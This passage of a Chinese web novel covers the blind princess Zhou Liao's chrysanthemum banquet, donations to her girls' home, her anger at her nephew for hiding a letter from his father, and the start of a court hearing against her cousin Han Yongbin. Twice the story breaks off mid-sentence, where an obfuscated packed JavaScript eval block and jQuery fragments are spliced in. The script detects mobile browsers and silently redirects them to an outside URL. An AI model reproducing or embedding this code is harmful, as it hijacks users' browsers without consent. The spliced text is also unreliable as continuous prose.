意思就是她们若是想继续比谁的声音大,那就放心大胆比,有周嫽护着她们,不会叫人当面说一句不满的话。但是之后私下里如何,那她就不能保证了。
她会保护她们,她们也要为自己负责。
王汉桃咧嘴不好意思地笑了笑,“我们记住了,公主姐姐。等赏菊宴结束后回到院里,我再和珍宝一较高下!”
林珍宝毫不畏缩接话:“比就比,才不怕你呢!”
周嫽微笑:“好,切记别累着嗓子了。”
女孩们齐齐应声:“嗯!”
秋高气爽,雁背清风,碧云天下黄叶地,只有金英吐晚香。周嫽携明赫与四个女孩到来时,轻声细语笑连连的场地间有一瞬的寂静,很快便被由邓宛影带头响起的“拜见福瑄大长公主,公主万福金安。”取代。
邓宛影含着笑意道:“头一回参加公主的赏菊宴,妾身可是早早就起来挑衣服了,倒也不是纠结该穿什么,只是心里总盼着能早日见到公主,睡不着觉。”
这样讨趣的话瞬间引起夫人小姐们的笑音。
周嫽深居简出,不常露面,在场的女人们多是第一次见到她,是以大都有些局促。知晓她们当中与公主最为亲近的就是沈尚书的夫人,于是邓宛影一说话她们就各自附和着夸赞几句,不让女孩觉得冷场。
夫人们都很怜惜这位公主,尽管公主的身份地位要比她们高上许多,可是女孩生母早逝,生父不喜,幼年失明,好不容易遇到善良的苏皇后愿意接手教养,却不想老天不赏脸,偏将如此心善的皇后娘娘带走。而姑娘们虽然也未曾见过公主,但是她的善行早已经在城里广为流传,对她十分敬佩。
一众人在酒席间谈笑说闹了许久,珠歌翠舞不绝,气氛轻松自在。几为年纪稍长些的小姐更是在周嫽的鼓励下作起词句来,朱雪晴是幼女院中最有文采的,也被王汉桃推出来写了一首词,由沈华君念出来后,姑娘们立即拍手叫绝。
沈华君毫不吝啬地夸赞:“真好!姐姐写的真好!依我看,头筹合该是雪晴姐姐的,公主可千万不要像母亲一样谦虚自家的孩子!”
“是啊。”魏毓英插话:“这位是幼女院的姑娘吧,学习诗词多久了?写的竟比我家那小子都要好了。”
朱雪晴哪里见识过这样的场面,她下意识想要躲在公主身后,可公主高坐在最上面,身边是小世子,离她太过遥远。坐在旁边的林珍玉看出她的窘迫,悄摸摸从桌底下探过去一只手握住他的,朱雪晴感激地看了她一眼,学着张姑姑平日里教的那样礼貌谢过。
周嫽很喜欢这样热闹的场面,女孩们活泼可爱的话语驱散了她心中因为东河郡主未来而产生的焦躁,真心实意笑出来,并将前三名的奖励下放的十名,顿时引得女孩们一阵欢呼。
正当众人都聊到兴头上时,一名侍女快步侧绕到周嫽旁边,带来一个好消息——东河郡主到了。
与此同时,院外小太监高声通报:“东河郡主到——”
除了早已知情的邓宛影外,在座所有人具是一惊。虽说福瑄大长公主与东河郡主两位皇室女子都不怎么在人前露脸,但公主到底还是个孩子,不至于令大家如此惶恐,可东河郡主就不一样了,那可是公主都要让几分颜面的长辈。
终于等到了盼望的人,周嫽猛地松了一口气。东河郡主愿意来就说明已经清楚韩永玢的所作所为并且愿意站在周嫽这边。她由玉生扶着起身下台,在听到有些粗哑的见礼声后,赶忙上前一步将人扶起来:“表姑母切莫多礼。”她柔柔一笑:“未曾想真的请来了表姑母,嫽儿真是万分荣幸。”
东河郡主比周嫽的父亲还要年长几岁,几缕银白藏于鬓间。她看向眼前女孩的目光柔和慈爱,拍了拍周嫽的手,解释:“永玢没有礼数,那么大的人了还撒泼打滚不让我来,刚刚将他教训了一顿,这才迟了些,还望公主见谅。”
她笑着开口:“表姑母说的是哪里的话,您愿意给嫽儿这个面子,嫽儿已经感激不尽了。刚刚心里面还忍不住想是否自己冒昧了叨扰表姑母。”她不动声色抽回一只手放在玉生的胳膊上,轻轻摩挲两下,奢雪立刻上前扶着东河郡主坐在下方首位。
东河郡主笑声十分爽朗:“公主这话反了,应当是公主还愿意找我这个老夫人玩令人感动才对啊。”
周嫽微笑,她朝明赫招招手,男孩很快来到她身边,“表姑母,这就是明赫,您还没见过吧。”她微微弯腰,在男孩耳边说:“明赫,快去拜见姑姥姥。”
周明赫望着眼前面容严肃,气息威严
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178394|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的女人,心里有些犯怵,但还是恭敬上前行礼。
东河郡主虽然年岁稍长,一双眼睛却是精明的很,不过几眼就看出来跟在周嫽身边粉雕玉琢的乖巧娃娃全然不似表现得那样纯良。她从前不在京城生活,与现在的皇帝兄妹并不亲近,不打算插手他们之间乱七八糟的事,淡淡道:“福瑄很不容易,你可要万事以她为先,好好孝顺姑母。”
周明赫不屑地想:不用你说我也会将姑母放在第一位。面上却还是老实恭顺的模样:“是,明赫记下了。”
要等的人等到了,赏菊宴的“赏菊”也该开始了。奢雪特意将许多品种的菊花摆在长廊中,越往深处走就越名贵,周嫽自我打趣:“本宫虽然看不见,但是陪大家闻个味儿也算是赏菊了。”说罢,她由玉生扶着起身,略微羞涩道:“本宫走得慢,不好在前面挡着大家的路,各位夫人姑娘们千万不要拘束,玩的开心看的开心才是。”
众人推拒一番,直言赏菊就要慢慢赏,最后由身份第二尊贵的东河郡主打头阵,邓宛影与魏毓英在后面陪周嫽慢慢走着。
幼女院的女孩们还无法独自在许多“贵人”中怡然自乐,好在沈华君似乎将自己看作了公主的人,十分有大姐姐担当地照应起四个女孩。
“还要多谢魏夫人提出了赏菊宴的主意,本宫身边许久没有这样热闹过了。”
魏毓英性子纯良憨厚,听了周嫽的感谢很不敢当:“哪里,是公主美名在外,大家才乐得来这里玩。要不是妾身只有一个不成器的儿子,定然也要带来家中小辈找公主亦或是幼女院的四位姑娘玩。”
“哪里的话。”周嫽开玩笑:“夫人这样说岂不是刚刚华君口中太过谦虚的家长了?”
魏毓英闻言脸一红,邓宛影也笑道:“薛小公子年少有为,又有薛国公的教导,将来肯定是能干大事的人。”
没人听到自家孩子被夸会不开心,魏毓英顿时喜笑颜开:“哎呦,这话可不能让彦儿听着,否则呀,又要在我跟前显摆好几天了!”
周嫽慈爱地摸了摸明赫的头,感慨:“本宫也不求明赫将来去争当什么建功立业的大人物,只愿他一辈子平平安安,能有薛公子半分优秀就足够了。”
公主话里的赞赏令魏毓英想起来临走前自家儿子哭着闹着提出的许多请求,比如记住了公主说了什么话回去告诉他,再比如多在公主面前夸夸他之类的......
于是魏毓英厚着脸皮别扭半天,干笑着吐出一句:“彦儿这孩子确实不赖......哈、哈哈......”
周嫽似是头一回见这么实诚的人,忍不住笑出来,而魏毓英也因此恨不得找个地缝钻进去,她都在公主面前说了些什么话呀,真是羞死人了。
几人走了一段路,周嫽忽而转向头面对魏毓英,笑容温婉端庄:“实不相瞒,本宫幼年时便十分仰慕薛国公才学,只可惜目不能视,不方便拜访他老人家,是以十分羡慕能够得他教导的薛公子。”
她将明赫推到两人中间,“明赫是个聪慧的好孩子,本宫近日一直想为他找位先生教导功课,只是翻遍了京中才学深厚的老先生,都不及薛国公万分之一。”
魏毓英很快反应过来:“公主的意思是......”
“本宫想要请求魏夫人从中说和,让明赫有机会与公子一起听两节薛国公的课,如此便也心满意足了。”周嫽握着周明赫肩膀的手微微用力。
魏毓英愣了一下,蓦地忆起她与儿子前往木材庄子偶遇公主那日晚上,少年激动地在院子里打了一夜的拳,当即不假思索答应:“当然可以,公主放心交给妾身吧!”
14. 第 14 章
周嫽首次在公众面前崭露头角,获得了巨大的成功。不仅让幼女院的诸位姑娘们初步融入贵女圈子里,而且使幼女院得到了许多贵夫人们的支持。
起因是东河郡主拿出黄金五十两捐给幼女院,掀起一片哗然。毕竟先帝在时很不喜欢这个由苏皇后主持创建的幼女院,京中官僚与世家大族对此避之不及,生怕惹恼了先帝。
只不过时过境迁,福瑄大长公主可是当今圣上胞妹,自然是千恩万宠,尊贵无比。讨好了福瑄大长公主,那岂不是相当于帮助自己的丈夫讨好了陛下,并且沈尚书的夫人与薛国公家的大夫人也都捐了,她们无动于衷干坐着也不合适。
于是在东河郡主、邓宛影与魏毓英的带头下,在座的朝廷命妇都多多少少提出来孩子们可怜,自己也捐出点钱财,权当是做些善事积福了。
意外之喜总是叫人更加欣喜,周嫽满面笑意,真诚谢过诸位赏脸前来的夫人后,又从库房里挑出名贵的菊花每家都赏了一株。
皇家的东西哪怕是一块砖都叫人觉得无上光荣,更别提是公主亲赏如此珍贵的物件,夫人们一想到自己带着盆皇恩满满的花回到府中将要受到何种艳羡与称赞,顿时得意起来,原先藏在心底那点因为撒出去银子而产生的些微不满都烟消云散了。
待众人依次离去,偌大的园子里不复之前的热闹盛景,只余下周嫽与东河郡主相对而立。
东河郡主双手拢在袖中,郑重致歉:“妾身无能,教子无方,竟为公主带来这样大的麻烦,真是罪该万死。”公主拿她当作长辈礼遇,那是公主德行高尚,但郡主与长公主到底是不同的,她不能够主动摆长辈架子。
周嫽看不见,于是奢雪赶忙上前将人扶起,她笑容温婉大方:“表姑母严重了,您身子骨一向不大好,此番倒让您费心了。”
东河郡主之所以历经三代皇帝都能安居高位,靠的就是她审时度势的眼力见,闻言再一次屈膝行礼:“公主善行令天下人感怀其心,妾身从前听说幼女院时便敬佩不已,常常想着哪怕做不了什么至少也得添把手,不曾想还未行动便被永玢那个孽障给毁了。永玢此种行径背信弃义,不忠不孝,还望公主责罚。”
韩永玢是东河郡主与户部副使韩云洲老来得子,十分宠爱,否则也不会当年被带着与周嫽等人一同用餐,还嚣张至极地出言嘲讽。东河郡主能说出这样的话已经是极大的让步了。
可周嫽却不打算就这么放过韩永玢。
周嫽留了东河郡主在公主府过一夜,第二日用过早饭,便带着她一同前往幼女院。
四个女孩正巧要去上学,她们都识得昨天这位在宴会上让公主都等待良久的人,于是齐齐停下脚步恭敬见礼。
周嫽在一旁简单介绍过女孩们,并说:“是要去学堂念书,世道本就对女子不公,若还不费心培养,让她们努力多学点东西,往后的路不知要多难走。”
她微微一笑,晨光熹微中在众人眼里与女菩萨无异,“听闻生息观的女道士们都会学习武艺,骑马打拳统统不在话下,本宫想着得闲了带着她们去生息观拜访,最好能请来道士也教教她们些功夫。”她话音一转,又是带上如她这个年龄的狡黠与天真:“正巧表姑母刚送来五十两黄金,取出几两来用作此处,岂不是再好不过。”
福瑄大长公主食邑万户,哪里缺得了五十两黄金,这么说不过是给东河郡主听的。
女孩们齐声声道:“多谢公主殿下,多谢郡主。”
东河郡主盈盈一笑:“是妾身之幸。”
如果没有韩永玢,周嫽想她会更喜欢这位表姑母。
没有耽误女孩们上学,周嫽一行人来到抚育女婴的处所,正巧碰着苗大姐抱着映洁在院子里玩耍。
“映洁乖,跟着娘念,娘——”温柔的语气掩盖了声音原本的粗哑,回应她的是映洁咯咯的笑声,岁月静好莫过于此。
周嫽停下脚步,玉生轻咳了一声,站在苗大姐身后静静看着她们母女的侍女这才注意到公主的到来,连忙用胳膊肘轻撞了一下苗大姐,上前来行礼:“拜见公主。”
苗大姐抬眼看见站在前方两位满身华贵的女子,吓了一跳,好在她在幼女院的这些时日学了许多东西,不再像之前一样呆愣惶恐。很快反应过来后抱着孩子与侍女一起弯腰。
周嫽是个很和善的人,叫两人起来后与东河郡主介绍:“这是苗大姐与映洁,映洁......就是那韩虎的女儿。”她语音犹豫,似乎很不愿意承认映洁与韩虎的关系。
东河郡主马上露出愧疚的神色,看向苗大姐与她怀中女婴:“让你们受苦了。”她对周嫽说:“公主,妾身愿意将这位苗大姐与映洁接到府上奉为贵客,必定视映洁如己出好生教养,还望公主成全。”
周嫽但笑不语,反而转头面向苗大姐。
衣食无忧,万人之上,这样的好日子没人能拒绝,苗大姐也不例外。她不可避免地心动了,然而自小到大经受的忽视与贬低使她无时无刻不在自卑。
苗大姐在这一刻想了许多,天上掉下来的巨大馅饼砸的她头晕眼花,满脑子都是刚刚抬眼间两位两位女子身上好像要闪瞎眼的贵气。她垂下头看着女儿丰盈白嫩的脸颊,黑葡萄一般的眼珠子盯着她转呀转,兴许是感受到母亲的为难,她瘪了瘪嘴巴,安静下来。
这段时间安静待在这里,就是想要讨公主欢心,从而能让那个女孩放了她男人。若是就这么跟公主身边那个年长些的妇人离去,她男人怎么办?她又该怎么办?她又没有儿子傍身,所拥有的不过是个没有用处的女孩。
于是苗大姐安静下来,一声不吭。她脑子笨,嘴也笨,却知道多说多错的道理。不知道该怎样抉择,所以干脆闭上嘴巴乖顺地听从上位者的安排。
周嫽轻笑:“看来不愿意。”
东河郡主深深看了一眼瑟缩在远处的女人,摇摇头:“可惜了。”
“没什么好可惜的。”周嫽带着凉意的声音落在院中,清晰可闻地传入每一个人耳中:“是我做的不够好,没有办法得到她全心全意的信任。在此之前——”
苗大姐太安静了,周嫽无法寻觅到她的声音,只能面向无人处,“既然无法抉择就保持现状在这里住下吧,一直住到你愿意相信我。等到那时在选择自己要走的路也不迟。”
她既是对苗大姐说,也是对东河郡主说:“如此做是因为你我皆为女性,世道艰难自当互帮互助,我既然有余力,合该倾尽全力帮助深陷困境之人。可是对于你的丈夫,我没有义务去可怜。”同样的,她会敬重东河郡主,但是不会对韩永玢产生任何所谓的亲戚情分。
“这两日做好准备,再好好想想自己该说什么该做什么,届时我带你见韩虎。”
听到丈夫的名字,苗大姐终于鼓起勇气发问:“......去牢里吗?”
周嫽微微一笑,吐出两个字:“衙门。”她闭着眼睛,对着空气与东河郡主说:“也烦请表姑母知会韩表哥一声,九月十九京衙署见。”
东河郡主抬起头,这里设计巧妙,院子西面绿树向天延展,枝繁叶茂,幽静雅致;另一边浅金的阳光倾泻而下,暖流化为瀑布堆积在地面。门扉后躲着三四个懵懂天真的女童好奇地看向她们,未经利欲熏染的眸子如同林间的小鹿,纯洁无辜。
很久以前,她的永玢也是这样能够让人生出无限怜惜的好孩子,可不知道从什么时候开始,他变得争强好胜,自私自利,狂妄无能。是她疏于教导了吗?还是她对他太过纵容了?
东河郡主静静望着那个名叫映洁的女婴,裹在襁褓中的孩子如同白纸一般不染任何俗念,就像刚出生的永玢一样。想到这里,她突然就明白了为何公主没有同意她带走映洁。倘若这个孩子养在自己身边,她日后会不会也成为像永玢那样的人?
每一个刚刚来到世界的婴儿都是一张白纸,不一样的是,属于男孩的那张纸上会有许多人去书写,为这个孩子安排好各种各样的人生之路。哪怕叛逆的男孩不愿意听从长辈的安排,大可以抢过纸笔,尽情挥洒笔墨画出独属于他的来路。
可是映洁呢?女孩们呢?她们不仅没有叛逆的资格,甚至连能够选择的道路都只有一条——结婚生子,困于后宅。
是她们不想吗?
是她们不能也不敢。
东河郡主不忍地转过眼,不敢面对扒着门框偷偷看过来的女孩子们。一缕阳光斜斜打在映洁的身上,她的母亲仍旧置身阴影当中。
公主为何没有答应她带走映洁,又为何强硬地将苗大姐留在此处,答案不言而喻。
既然这些女子们没有选择权,也不敢做出“常理”以外的选择,那就由相对自由一些的公主为她们创造一个能够最大程度凭借心意选择前路的环境,然后放手让她们自己抉择。
明明自己都是个羽翼未丰的孩子,却总费尽心思想要撑开稚嫩的双翼,为别的女子遮风挡雨。
她没有再提带走映洁的话,平心而论,她做不到公主那样好,“妾身记下了。”
终于听到东河郡主的声音,周嫽转过头来面向她,笑容柔和:“希望韩表哥不会叫嫽儿白等一场。”
女子分明双目紧闭,东河郡主却好似觉得自己被她直直盯着一般,浑身汗毛倒竖,头皮瞬间发麻。她有些勉强地笑了笑,福身应下:“是。”她有足够的理由相信,倘若永玢在这几日间逃往外地,这位年轻的公主定会施与更严重的惩罚,倒不如直接将不争气的儿子送过去凭她收拾,反正也不能要了永玢的命,再者也算是给他个教训了。
这天晚上,洗过澡的小明赫独自坐在床脚看书,其实上面的字他大多不认识,只是姑母吩咐了过段时间要送他去一位很厉害的老师那里学习,老师身份尊贵,德高望重,不可能教他识字这么简单的东西,所以他需得在这几日先认些,以免到时候读不出来书。
横雨姐姐在此时进来,瞧见窝在角落里的小团子吓了一跳:“怎么在这儿看书?快点出来,对眼不好。”
周明赫用书挡住下半张脸,只露出一双漆黑透亮的眸子眨巴眨巴,他忽而提书将小脸全部盖住,没有理人。
横雨不禁失笑。还记得刚刚来到公主府的男孩如同一只小狼,什么都没见过,什么都不懂,警惕又莽撞。面对她们总是小心翼翼讨好的姿态,生怕自己哪里惹人讨厌了,被公主赶走。
如今倒是摆起小世子的架子了。
横雨觉得可爱,刚想伸手捞过男孩让他到明亮处看书,突然一只白皙修长的玉手不由分说伸过来强势地掐住男孩胳膊,将他提过来,尖细的声音好似噼啪的灯花乍然响起:“小世子还是懂些规矩的好!”
横雨惊讶,下意识攥住男人的衣袖想要解救男孩的动作顿住,朝他身后看了一眼,没有找到公主,又上前掰男人的手:“你这是做什么!快松开他!”
玉生本就没打算为难,当即松开手一甩袖子,冷声质问倒在床上低头不语的男孩:“横雨跟你说话没听着吗?”语音低得仿佛能掐出水来,就连横雨都忍不住打了个寒颤。
她生气:“你大晚上发什么疯?公主呢!”
玉生轻哼一声,双手收回拢在袖中,目光凉凉地撇了一大一小一眼,随后扔下个白眼竟直接走了。
“发什么神经!”横雨气恼地瞪了一眼男人悠悠离开的背影,虽是这么说,却还是在将周明赫扶起来后认真询问:“你今日可是做了什么?”她比起玉生脾气要好很多,但也不是傻的,明白男人不会无缘无故跑来公主的寝阁闹事,想来定是周明赫做了什么错事。
披散着头发的男孩眼底浮现惧意,他瘦弱的肩膀在横雨手下微微颤抖,瑟缩着想要躲开。
横雨语重心长劝告:“做了什么错事可先与我讲一讲,姐姐也好给你拿主意,否则等会玉生来盘问你时,我可帮不了你。”见男孩依旧不肯开口,她微不可察地叹了一口气:“你也不必瞒,玉生知道的事那就是公主知道的事,倒不如坦白从宽,公主最无法忍受的便是被欺瞒了。”
在奢雪,横雨与玉生三人中,奢雪最受公主器重,可论起公主最宠信哪一位,那么非玉生莫属。有时横雨为了不给自己找麻烦,都会让给男人三分薄面。
“我......”周明赫抱紧怀里的书,忐忑与不甘回旋纠缠着占据他全部心神。他没有想到玉生能在公主府里如此嚣张,明明他是皇上亲封的世子,是和姑母一样的主人,结果却只能任由一个太监动辄打骂。
凭什么!
他低着头,始终不敢抬头去看横雨,生怕暴露了自己脸上的愤懑不平。夹在书册里的信纸被他大力按压的卷起来,各种纠结在心头的思量在姑母一声骤然传来的“周明赫”霎时间全部打散。
周明赫从未听姑母用这样严厉的声音喊他,女人的怒火让他更加惊惧不安,当即什么也不管不顾爬下床跪在地上,双手举着打开的书册呈上前,语速极快地道歉:“对不起姑母!明赫欺瞒了姑母!”
横雨见此情形愣住,未曾想这个孩子真的做出错事,慌乱间撇了一眼怒气冲冲的公主,连忙与男孩一同跪在地上,攥住裙角的手都在忍不住发抖。她已经许久没见过这样生气的公主,好像自从去了苏皇后身边,公主就像是炸药碰上冷水哑火了,难不成现在苏皇后死
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13219988|136642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,她又要变回从前的模样吗?
玉生长眉倒竖,一把夺过书册抽出里面的信封,撕开封皮先是定睛一看,而后掐着嗓子大声诵读出来:“吾儿明赫,近来安否?为父远在南夷,突闻汝进封世子,不胜喜悦,不能亲自贺礼,恨不——”
“够了!”不待玉生念完,周嫽便厉声喝止。灯烛辉煌下,怒气化作暗沉沉的气焰盘踞在她身上,“我是否告诫过你,无论发生什么事都要第一时间跟我讲,万不可自己决断?”
周明赫这下是真的怕了,女人气势实在吓人,他不敢上前,只得继续跪在原处磕头:“姑母,是明赫错了!明赫再也不敢了!今日有人塞给我一封信,说是......”他艰难地吐出那个词:“说是我父亲送来的,我就接下了。姑母!除此之外明赫真的什么都没有做!”
周嫽从玉生手上扯过信纸摔在周明赫脸上,怒斥:“你错就错在什么都不做!”她这几天一直在忙对付韩永玢的事,刚刚送走东河郡主还未怎么歇息,便听玉生传报周明赫私藏顾家的信件,当即怒不可遏。
她被玉生扶着的手都气到发抖,冰冷的声音里充满了失望:“你就那么喜欢那个未曾谋面的父亲吗?喜欢到为了他的一封信抛弃姑母?”
此话一出,众人皆是一愣。玉生几乎是立刻意识到公主这是将周明赫想成从前的苏皇后了,顿时心酸不已,而周明赫更是愧疚万分,只恨不得刚刚玉生多打自己几下。
“——不是的!”周明赫立马反驳:“姑母待明赫恩重如山,任何人任何事在明赫心中都不及姑母万分之一,此事是明赫鬼迷心窍了!明赫也是第一次碰上这样的事,一时慌乱无主才犯下如此大错,求求姑母饶恕明赫,不要赶明赫走,明赫从此往后再不会对姑母隐瞒一件事!”
周明赫从前在冷朱阁时,除了周嫽以外没有人愿意搭理他,有时几个月才会说上一句话。再加上男孩没有系统地学习过,因此刚刚来到公主府时说话很没有逻辑,还结结巴巴的,现在却已经能够如此流畅地认错了。
横雨归在一旁心惊胆战,万万想不到周明赫胆子那样大,竟然敢与顾家的那位私下往来。要知道顾宪勉可不仅是先皇、先皇后的逆鳞,也是绝不可在公主面前提及的隐秘。
“横雨。”
横雨连忙应声:“奴婢在。”
周嫽疲惫地靠在玉生身上,“送小世子回自己院子去。”
她不是巧言令色的玉生,不敢在这个时候说什么,低头称是后很快将跪在地上泪流满面的小男孩抱走了。
兴许是从前备受欺辱,周明赫哭起来不似寻常孩子般吵闹,反而十分安静,除了时不时的抽噎声以外再没有别的声音。
横雨将他抱出来后便将孩子放在地上,两人牵着手一起走出去。月影婆娑,秋风瑟瑟,凉意顺着袖口裤脚钻进衣裳里,她搓了搓手臂,低头一看才注意到男孩只穿了件里衣。
她张开口想要说什么,但是男孩只顾自己哭得伤心,简直像是要哭岔了气似的,于是便闭上了嘴,没有打扰。
将孩子送回刚刚修整完毕的屋内,横雨犹豫再三,还是为他添了一杯热茶,“小世子,天晚了,早些休息吧。”
“横雨姐姐......”周明赫嗓子哑的跟吞了炭似的吓人,他泪眼朦胧地抱住横雨的胳膊,满脸绝望:“姑母是不是不要我了?”
横雨的主子只有公主,本不打算多管闲事,可是被男孩通红的莹莹双目注视着,她实在狠不下心来,只能草草安慰:“公主这段时候心情不好,想来是没精力照顾小世子,小世子且安心在此处住着,待到公主气消了您再去请罪。”
周明赫一路上没有哭,此时听了她的话却是“哇”的一声哭出来:“那明赫这几天都不能见姑母了吗?”他委屈地哭诉:“我一直都是记着姑母的话的,只是赏菊宴那天有个人突然把信塞给我,我脑子太笨了没反应过来,真不是故意瞒着姑母的......”
其实横雨也是这么觉得的,毕竟这位小世子出生起就过着人不人鬼不鬼的日子,那些人情往来上的基本常识都不懂得,此番估计是真的犯了迷糊呆傻了,压根没想到那方面去。
哎。
横雨无声叹了口气,留下陪在男孩身边许久,终于好说歹说将他哄睡了过去后才离开。
寂寞的月光透过敞开的窗户洒进来,留下一泼明光。敞开的轻纱床帘后,周明赫面无表情地从床上坐起来,提线木偶般迟钝地转过头顺着淌进来的月光看去,大开的窗户被一阵深夜冷风吹的咯吱作响。
床幔没有人为他放下,自然也不会有人为他关上深秋夜晚的窗户。
周明赫双臂缓慢搂住曲起的膝盖,满是泪痕的脸蛋静静搁置在上面,配上他木然的表情,在这样风寒露重的深夜里多了几分凄厉的妖异之感。
事情怎么就变成这样了呢?
月色被晃动的枝丫剪成破碎的光影,与他的悲伤融为一体,在静谧处蔓延。
他还不识得字,被赛过那封信时只听小厮说是他“父亲”送过来的。他从前是困在深宫里的人打人骂的野种,来了公主府后是被姑母疼爱的小兽,他是真的不懂。将宛如天书的信纸塞进连书册里,一切是那么地自然,因为完全没有意识到这种事是需要告知姑母的,只是想着待自己去认得字多些后再去读这封信。
倘若再给周明赫一次机会,他一定会在小厮偷摸混进来时,就像那个突然被姑母赏识的伍仙一样,大声叫来人把他抓获,而不是把那些没用的破纸藏起来。
明明很久之前就已经认识到哭是没有用的,倔强而绝望的声音一直在周明赫脑海中盘旋说“不要哭,赶紧想办法让姑母原谅你”,眼眶却还是忍不住泛酸,泪珠如同断了线的珠子不停地往下掉,濡湿了大片的衣袖。
这几日周嫽都没有召见周明赫,横雨倒是偷偷来探望过几次,每一回都要被男孩缠着询问什么时候能够见姑母。
“公主很忙,少说也得过了十九号。”她拉开男孩攥着自己袖口的白净小手,无奈道:“小世子就莫打听了,安心跟着夫子识字才是要紧事,等年后您就该去国公府念书了,若现在不好好打基础,届时丢的可是公主的脸。”
听到会给周嫽丢脸,原本还哭闹不止的男孩瞬间安静了下来。他委屈地垂下眼,纤长浓密的睫毛蝴蝶一般扑闪在白玉面颊上,几滴泪珠滚下来,可怜的人心都要化了。
“......好吧。”他很失落,但还是不甘心地询问:“那横雨姐姐能否告诉明赫,姑母现在还生气么?”
纵然心疼这个孩子,横雨依旧正色:“切莫打听公主的事。”
15. [锁] 该章节由作者自行锁定
九月十九日,京衙署——
今儿日头正好,一扫入秋以来灰蒙蒙的阴沉天气,万里无云,烈日当空照。然而晴日再如何的好,中秋的冷瑟之感早已经拌着枯枝落叶凝结在寒风之中。
朱漆大门敞开,秋风呼啦啦想要往里面灌,却被门前大街上密不透风的人群阻拦,徘徊再三终究打了个转狼狈离去。
“福瑄大长公主驾到——”响亮的声音有着穿透一切的力量,冲散冷风都无可奈何的人山人海,霎时间乌泱泱的黑头发褐色衣裳犹如潮水一般往两边涌去,空出来一条勉强同人的石板路。
六匹皎洁健硕的宝马在前方开路,马鼻下浑厚的呼吸声与秋日肃杀的氛围融为一体,百姓们无一不敬畏地跪地匍匐,生怕惊扰了盈盈香车扫起的尘土。
周嫽由奢雪与玉生搀扶着走进静默无声的大堂,张姑姑、王芳兰、伍仙与抱着映洁的苗大姐随行其后,整齐划一的参拜声自然响起,立即震慑住门外屏息跪地的民众。
“都请起吧。”福瑄公主当真是十分和蔼的人,这并不是说她对待旁人如何亲切,而是指这位尊贵的女子身上从未流露出过权贵们高高在上的气息,似乎在她的眼里,平民百姓与自己并无区别。
“表妹。”韩永玢率先站起身,邪肆的眼神直勾勾盯着周嫽,好像她是他多大的仇人似的,“你今日又是在闹什么?这几日进宫就是在央求陛下答应你今日的荒唐行径吗?”他笑容轻蔑,完全不把周嫽放在眼里,“表妹今年不过二八年华,搞出那么大动静出来抛头露面,哪怕你是公主,将来嫁人也是有影响的啊。”
“哦——”男人话音一转,“差点忘了表妹看不见,应该没人想要娶一个瞎子吧,表妹莫不是自暴自弃了?”
韩永玢嘴角噙着恶劣的笑意,目光沉沉看向对面双目紧闭的少女,静静等待她跳脚生气。
岂料周嫽不仅未同往日那样气恼,反而面上一派平静,毫无波澜,这样便显得韩永玢咄咄逼人的刻薄模样有些难看了。
面对韩永玢的挑衅,周嫽能够做到不为所动,玉生却无法忍受,立即出声斥责:“韩公子未免太恶毒了!先是使些下作手段血口喷人,如今又目无王法,毫无廉耻礼仪之心地对公主不敬,当真是丢尽了东河郡主的脸面!”
韩永玢一双三白眼霎时冷下来,阴恻恻地瞪了玉生一眼,阴阳怪气:“表妹是公主,再怎么胡作非为也都有陛下为您兜底,只是出来闹腾之前还是得先管好自己的狗呀,气坏我倒是没什么,要是惹了陛下生气,小心得不偿失呐!”
这么多人看着,奢雪也懒得与这贱男人争辩,她朝京兆尹关大人使了个眼色,长脸长须长眼睛的男人当然知道哪个能惹哪个是不能惹的,立即拍案开始堂审。
要说这关大人也真是有苦说不出,他不过是一个小小的京兆尹,难为他竟然接了公主这么大的案子。按理说皇亲国戚之间的纠纷怎么着也不该闹到明面上来当堂公审,毕竟这样做是很得罪人的。再不济也该由大理寺接管办案,虽说只不过是公主名誉受了点损害,也不是什么大的案子,可是当事人身份尊贵啊!
关大人默默站在上面与那位玉生公公对视一眼,犹豫着要不要下来让公主坐在上面。又有些担心这样是否太过谄媚了。
“呃,公主......您请坐。”关大人最终还是决定走下来,他小心翼翼瞧着公主的脸色,妄想从中看出一二态度,是要他放水还是怎么的。只是这位年轻公主面上不露声色,看上去既不紧张也不生气,好似此事与她毫无关系。他不禁再次看向了玉生公公,可男人也傲慢地转过头去,并不搭理他。
关大人一时犯了难。
虽说公主千金之躯又是当今圣上胞妹,可据他了解陛下并不喜欢公主抛头露面,与先皇一样十分抵触幼女院,此番报案宫里面更是一点指示都没有。
这审理结果若是偏向了公主,指不定一点好处没有就罢了,甚至还有得罪圣上的风险,而韩永玢可是户部副使韩大人老年得来的独生子,若是真的给了他难看,自己可就与韩云洲结下了梁子。
真是两边不讨好,难为得很!
周嫽全程一言不发,全靠奢雪主持大局,她颔首正色:“还请大人秉公处理,还公主清白!”
于是关大人不好再多说些什么,只是战战兢兢命人搬来椅子置于两旁,两方人各坐其中,一场犹如火上走铜丝的判案就这么开始了。
因是福瑄公主报的案,所以奢雪先上前来指出韩永玢造谣污蔑,贿赂欺诈,以下犯上。
韩永玢倒是不急不忙,始终一副陪你玩闹的样子,显然并不相信周嫽真的会拿他怎么样。
